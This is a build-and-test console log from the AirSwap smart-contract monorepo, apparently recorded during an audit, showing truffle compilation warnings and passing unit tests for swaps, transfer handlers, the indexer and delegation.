@airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert 